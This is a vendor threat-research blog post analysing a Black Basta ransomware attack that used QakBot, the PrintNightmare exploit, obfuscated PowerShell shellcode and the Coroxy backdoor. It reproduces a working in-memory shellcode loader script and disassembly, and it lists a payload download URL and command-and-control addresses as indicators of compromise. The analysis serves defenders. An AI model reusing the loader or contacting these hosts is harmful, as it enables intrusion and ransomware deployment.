

# Black Basta Ransomware Operators Expand Their Attack Arsenal With QakBot Trojan and PrintNightmare Exploit

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## Ransomware

We look into a recent attack orchestrated by the Black Basta ransomware group that used the banking trojan QakBot as a means of entry and movement and took advantage of the PrintNightmare vulnerability to perform privileged file operations.

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Since it became operational in April, [Black Basta](#) open on a new tab has garnered notoriety for [its recent attacks on 50 organizations around the world](#) open on a new tab and its use of [double extortion](#) open on a new tab, a modern ransomware tactic in which attackers encrypt confidential data and threaten to leak it if their demands are not met. The emerging [ransomware](#) open on a new tab group has continued to improve its attacks: We recently caught it using the banking trojan [QakBot](#) open on a new tab as a means of entry and movement, and taking advantage of [the PrintNightmare vulnerability \(CVE-2021-34527\)](#) open on a new tab to perform privileged file operations.

In the case of a Trend Micro customer, its system was infected with Black Basta ransomware that was deployed by QakBot (Figure 1). This behavior is typical of the QakBot malware family, which has served as a key enabler of ransomware families like [MegaCortex](#), [PwndLockerm](#), [Egregor](#), [ProLock](#), and [REvil \(aka Sodinokibi\)](#) open on a new tab. QakBot, which was discovered in 2007, is known for its infiltration capabilities and has been used as a “malware-installation-as-a-service” for various campaigns. Over the years, this banking trojan has become increasingly sophisticated, as evidenced by its exploitation of [a newly disclosed Microsoft zero-day vulnerability known as Follina \(CVE-2022-30190\)](#) open on a new tab.

5/2/2022	C:\Users\ [redacted] \Downloads\c_3855059153.xlsb	Trojan.X97M.QAKBOT.YXCFH
	c:\ [redacted] \beunsea.oooooooooooooooooooo	
	c:\ [redacted] \beunseb.oooooooooooooooooooo	TrojanSpy.Win32.QAKBOT.YACEJT
5/2/2022	c:\ [redacted] \beunse.oooooooooooooooooooo	
5/2/2022	c:\Users\Public\spider.dll	Trojan.Win64.QUAKNIGHTMARE.YACEJ1
	-nop -w hidden -encodedcommand	
5/2/2022	JABzAD0ATgBIAHcALQBPAgiAagBIAGMAdAAgAEkATwAuAE0A...	FILELESS COBEACON
5/2/2022	C:\Windows\150f1e6.exe	Trojan.Win32.COBACON.SMYXBE2.hp
5/4/2022	c:\users\public\runtimelisten.exe	Backdoor.Win32.COROXY.YACEKT
5/4/2022	c:\windows\cps1.dll	Trojan.Win32.BLACKBASTA.YXCEJ
5/4/2022	c:\windows\cps.exe	Ransom.Win32.BLACKBASTA.YACEJ
5/4/2022	C:\\Users\\vadmin\\Downloads\\nmap-7.91-setup.exe	PUA.Win32.Netcat.B
5/5/2022	C:\Program Files\Broadcom\BACS\readme.txt	Ransom.Win32.BLACKBASTA.A.note

Figure 1. A timeline of the files detected on the infected machine

## QakBot’s infection chain

QakBot is distributed using spear-phishing emails (Figure 2) that contain Excel files with Excel 4.0 macros. The emails entice the recipient to enable macros, which download and execute the QakBot DLL files (Figures 3 and 4). The

downloaded QakBot DLL is dropped onto a specific file path and file name, and is executed via regsvr32.exe (Figure 5). The QakBot DLL performs process injection using explorer.exe (Figure 6), after which the injected Explorer process creates a scheduled task to maintain the malware's initial foothold in the infected system (Figure 7).




Figure 2. The infection chain from the point of entry to the Black Basta ransomware payload




Figure 3. Instructions in the Excel file used by QakBot to lure a potential victim into enabling Excel 4.0 macros

8 404 HTTPS laluallex.com /ApUUBp1ccd/Ophn.png 315 text/html; c... excel:2244

Figure 4. The malicious URL used to download the QakBot malware



Figure 5. The downloaded QakBot malware dropped onto a specific file path and file name

EXCEL.EXE	1744	Microsoft Excel
regsvr32.exe	3648	Microsoft(C) Register Server
regsvr32.exe	3852	Microsoft(C) Register Server
explorer.exe	3672	Windows Explorer

Figure 6. The explorer.exe process used in process injection



Figure 7. The scheduled task created by QakBot

Once QakBot is installed in a system, it proceeds to download and drop the other components in the infection chain, beginning with the Cobeanon background. We have observed the execution of Cobeanon using a fileless PowerShell script with multiple layers of obfuscation (Figures 8 to 11). The Base64-encoded shellcode of the installed Cobeanon establishes and names a pipe for communication (Figure 12) that is possibly used for exfiltration purposes once information has been collected from a targeted system. The Black Basta ransomware group posts this information on its leak sites if the victim does not pay the ransom.



Figure 8. Cobeanon's first layer of obfuscation, a Base64-encoded PowerShell command



Figure 9. Cobeanon's second layer of obfuscation, the loading and reading of an archive file in memory

```
Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
    Param ($var_module, $var_procedure)
    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')
[-1].Equals('system.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @( 'System.Runtime.InteropServices.HandleRef', 'string'))
    return $var_gpa.Invoke($null, @( (System.Runtime.InteropServices.Marshal)::(New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr),
($var_unsafe_native_methods.GetMethod('GetProcAddress')).Invoke($null, @($var_module))))), $var_procedure)
}

function func_get_delegate_type {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
        [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )

    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run, [DynamicModule]::InMemoryModule, $false).DefineType('MyDelegateType', 'Class, Public, Sealed, [System.MulticastDelegate])
    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
    $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
}

return $var_type_builder.CreateType()

[Byte[]]$var_code =
[System.Convert]::FromBase64String('38uqlyH3Q6rGEVHqHETqHEVqHE3qFELL3RpRRLcEUOPH3FIQ8M4uuuIuT80F0qHEzqGF1VooUy1m1dpIvHzq57qHsDIvDAH2qoF6Gt9RLcEUOP4uuuIuQbw1bXf7b6F4HvSF7qHSH1v8FqC9oqH5/IVCoJ6g186pN8w
d4eE7d6E7cuzt8eagpyKv+EuWY08jHyNj59zC)C)I0h7h3003PZyosjTyM5EupycKsJkyCjSyOT3yN3I8K1558x5227/Pfc900u4d3PFLC0xewd2puxXtUk3j5SNO16rF0dUnq5g45u0xvcv5S155dxdEu0vXyY3Paodcz5S15yNDYnzEdU0vXyY3Pam41c3q8H
7egbJLrjCqHqChyLnyP508kcvdEj17F73720544jPnrc0agn86hvbysa1ck590wqKc3t0nbzFLkic3H9/DX9T53NSfbcT0hV1Np1t8Ew5j1yHjIw==')

for ($x = 0; $x -lt $var_code.Count; $x++) {
    $var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @( [IntPtr], [UInt32], [UInt32], [UInt32]
([IntPtr]))))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.Length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @( [IntPtr] ) ([Void]))
$var_runme.Invoke([IntPtr]::Zero)
'0'

If ([IntPtr]::size -eq 8) {
    start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
    IEX $DoIt
}

```

Figure 10. Cobebacon’s third layer of obfuscation, the decoded script for running the Base64-encoded shellcode

0000000000000000	FC	CLD
0000000000000001	E889000000	CALL 00000000-FFFFFFF71
0000000000000006	60	???
0000000000000007	89E5	MOV EBP, ESP
0000000000000009	31D2	XOR EDX, EDX
000000000000000B	648B5230	MOV EDX, DWORD PTR FS:[RDX+30]
000000000000000F	8B520C	MOV EDX, DWORD PTR [RDX+0C]
0000000000000012	8B5214	MOV EDX, DWORD PTR [RDX+14]
0000000000000015	8B7228	MOV ESI, DWORD PTR [RDX+28]
0000000000000018	0FB74A26	MOVZX ECX, WORD PTR [RDX+26]
000000000000001C	31FF	XOR EDI, EDI
000000000000001E	31C0	XOR EAX, EAX
0000000000000020	AC	LODS AL, BYTE PTR [RSI]
0000000000000021	3C61	CMP AL, 61
0000000000000023	7C02	JL 0000000000000027
0000000000000025	2C20	SUB AL, 20
0000000000000027	C1CF0D	ROR EDI, 0D
000000000000002A	01C7	ADD EDI, EAX
000000000000002C	E2F0	LOOP 000000000000001E
000000000000002E	52	PUSH RDX
000000000000002F	57	PUSH RDI
0000000000000030	8B5210	MOV EDX, DWORD PTR [RDX+10]
0000000000000033	8B423C	MOV EAX, DWORD PTR [RDX+3C]
0000000000000036	01D0	ADD EAX, EDX
0000000000000038	8B4078	MOV EAX, DWORD PTR [RAX+78]
000000000000003B	85C0	TEST EAX, EAX
000000000000003D	744A	JE 0000000000000089
000000000000003F	01D0	ADD EAX, EDX
0000000000000041	50	PUSH RAX
0000000000000042	8B4818	MOV ECX, DWORD PTR [RAX+18]
0000000000000045	8B5820	MOV EBX, DWORD PTR [RAX+20]
0000000000000048	01D3	ADD EBX, EDX
000000000000004A	E33C	JRCXZ 0000000000000088
000000000000004C	498B348B	MOV RSI, QWORD PTR [R11+RCX*4]
0000000000000050	01D0	ADD RSI, RDX

Figure 11. Disassembly of the decoded shellcode

```
ÙÈ...`ã1ôd.R0.R..R.r(.J&lÿ1â-<a|., ÅÏ
.ÇâðRW.R..B<.Ð.âx.âTJ.ÐP.H..X.Ô&<I.4..Ôÿÿ1â-âÏ
.Ç8âud.)ø;)$uâX.X$.ôf..R.X.X..ô...Ð.D$${[ayZQÿâX.Z..ë.}1âj@h...hÿÿ..j.hX*sâÿôPé...Z1ÉQqH.°.h.°.j.j.j.RhEp8ôÿôP...$j.Rh(o)âÿô.
âTnj.j.j...æ.È..â.â...$.j.Vj.RWn...ÿÿô.T$.j.Vh.
..RWn...ÿÿô.âT.L$....$.E..$.T$...âëx.|$.WhâUÿÿôWhE..Rÿô...$.L$.9âT.h8pEvÿÿôÿd$.èSÿÿÿ\\.\pipe\halfduplex_03.....
```

Figure 12. Shellcode containing the named pipe for communication

## PrintNightmare and Coroxy

Upon further analysis of the system that was affected by Black Basta, we found evidence that points to the ransomware group’s exploitation of the [PrintNightmare vulnerability](#)[open on a new tab](#). Exploiting this vulnerability, Black Basta abused the Windows Print Spooler Service or spoolsv.exe to drop its payload, spider.dll, and perform privileged file operations. It also exploited the vulnerability to execute another file in the affected system, but samples of this file were no longer available in the system.

Additionally, our investigation found that the ransomware actors used the Coroxy backdoor. They used Coroxy in conjunction with the abuse of the computer networking utility tool Netcat to move laterally across the network. Once the attackers gained a wide foothold in the network, they executed the Black Basta ransomware, whose infection process we explained in more detail in [a previous blog post](#)[open on a new tab](#).

## Thwarting phishing attempts

Spear phishing is a common precursor to ransomware infection. Organizations can protect their data from threats that spread through emails by adhering to best practices such as:

- Ensuring that macros are disabled in Microsoft Office applications.
- Verifying an email’s sender and content before opening or downloading any attachments.
- Hovering the pointer over embedded links to show the links’ full addresses.
- Being wary of telltale signs of malicious intent, including unfamiliar email addresses, mismatched email and sender names, and spoofed company emails.

Businesses and their employees can safeguard sensitive company data from email-borne ransomware threats like Black Basta by turning to endpoint solutions such as Trend Micro’s [Smart Protection Suites](#)[products](#) and [Worry-Free Business Security](#)[worry free services suites](#) solutions, which are equipped with behavior-monitoring capabilities that are able to detect malicious files, scripts, and messages, and block all related malicious URLs. [Trend Micro™ Deep Discovery™](#)[products](#) also has a layer for [email inspection](#)[products](#) that protects businesses by detecting any malicious attachments and URLs. Multilayered detection and response solutions like the [Trend Micro Vision One™](#)[products](#) platform provides companies with greater visibility across multiple layers — like email, endpoints, servers, cloud workloads, and networks — to look out for suspicious behavior in their systems and block malicious components early, mitigating the risk of ransomware infection.

## Indicators of compromise

### Hashes

SHA-256	Trend Micro detection
01fafd51bb42f032b08b1c30130b963843fea0493500e871d6a6a87e555c7bac	Ransom.Win32.BLACKBASTA.YXCEP
72a48f8592d89eb53a18821a54fd791298fcc0b3fc6bf9397fd71498527e7c0e	Trojan.X97M.QAKBOT.YXCFH

580ce8b7f5a373d5d7fbfbfef5204d18b8f9407b0c2cbf3bcae808f4d642076a	Backdoor.Win32.COROXY.YACEKT
130af6a91aa9ecbf70456a0bee87f947bf4ddc2d2775459e3feac563007e1aed	Trojan.Win64.QUAKNIGHTMARE.YACEJT
c7eb0facf612dbf76f5e3fe665fe0c4bfed48d94edc872952a065139720e3166	TrojanSpy.Win32.QAKBOT.YXCEEZ
ffa7f0e7a2bb0edf4b7785b99aa39c96d1fe891eb6f89a65d76a57ff04ef17ab	TrojanSpy.Win32.QAKBOT.YACEJT
2083e4c80ade0ac39365365d55b243dbac2a1b5c3a700aad383c110db073f2d9	TrojanSpy.Win32.QAKBOT.YACEJT
1e7174f3d815c12562c5c1978af6abbf2d81df16a8724d2a1cf596065f3f15a2	TrojanSpy.Win32.QAKBOT.YACEJT
2d906ed670b24ebc3f6c54e7be5a32096058388886737b1541d793ff5d134ccb	TrojanSpy.Win32.QAKBOT.YACEJT
72fde47d3895b134784b19d664897b36ea6b9b8e19a602a0aaff5183c4ec7d24	TrojanSpy.Win32.QAKBOT.YACEJT
2e890fd02c3e0d85d69c698853494c1bab381c38d5272baa2a3c2bc0387684c1	TrojanSpy.Win32.QAKBOT.YACEJT
c9df12fbfcae3ac0894c1234e376945bc8268acdc20de72c8dd16bf1fab6bb70	Ransom.Win32.BLACKBASTA.YACEJ
8882186bace198be59147bcabae6643d2a7a490ad08298a4428a8e64e24907ad	Trojan.Win32.BLACKBASTA.YXCEJ
0e2b951ae07183c44416ff6fa8d7b8924348701efa75dd3cb14c708537471d27	Trojan.Win32.BLACKBASTA.YXCEJ
0d3af630c03350935a902d0cce4dc64c5cfff8012b2ffc2f4ce5040fdec524ed	Trojan.Win32.BLACKBASTA.YXCEJ
df35b45ed34eaca32cda6089acbfe638d2d1a3593d74019b6717afed90dbd5f8	Trojan.Win32.BLACKBASTA.YXCEJ
3fe73707c2042fefe56d0f277a3c91b5c943393cf42c2a4c683867d6866116fc	Trojan.Win32.BLACKBASTA.YXCEJ
433e572e880c40c7b73f9b4befbe81a5dca1185ba2b2c58b59a5a10a501d4236	Ransom.Win32.BLACKBASTA.A.note

c4683097a2615252eeddab06c54872efb14c2ee2da8997b1c73844e582081a79	PUA.Win32.Netcat.B
--	--------------------

### URLs

24[.]178[.]196[.]44:2222  
37[.]186[.]54[.]185:995  
39[.]44[.]144[.]182:995  
45[.]63[.]1[.]88:443  
46[.]176[.]222[.]241:995  
47[.]23[.]89[.]126:995  
72[.]12[.]115[.]15:22  
72[.]76[.]94[.]52:443  
72[.]252[.]157[.]37:995  
72[.]252[.]157[.]212:990  
73[.]67[.]152[.]122:2222  
75[.]99[.]168[.]46:61201  
103[.]246[.]242[.]230:443  
113[.]89[.]5[.]177:995  
148[.]0[.]57[.]82:443  
167[.]86[.]165[.]191:443  
173[.]174[.]216[.]185:443  
180[.]129[.]20[.]53:995  
190[.]252[.]242[.]214:443  
217[.]128[.]122[.]16:2222  
elblogdeloscachanillas[.]com[.]mx/S3sY8RQ10/Ophn[.]png  
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lizety[.]com/mJYvpo2xhx/Ophn[.]png

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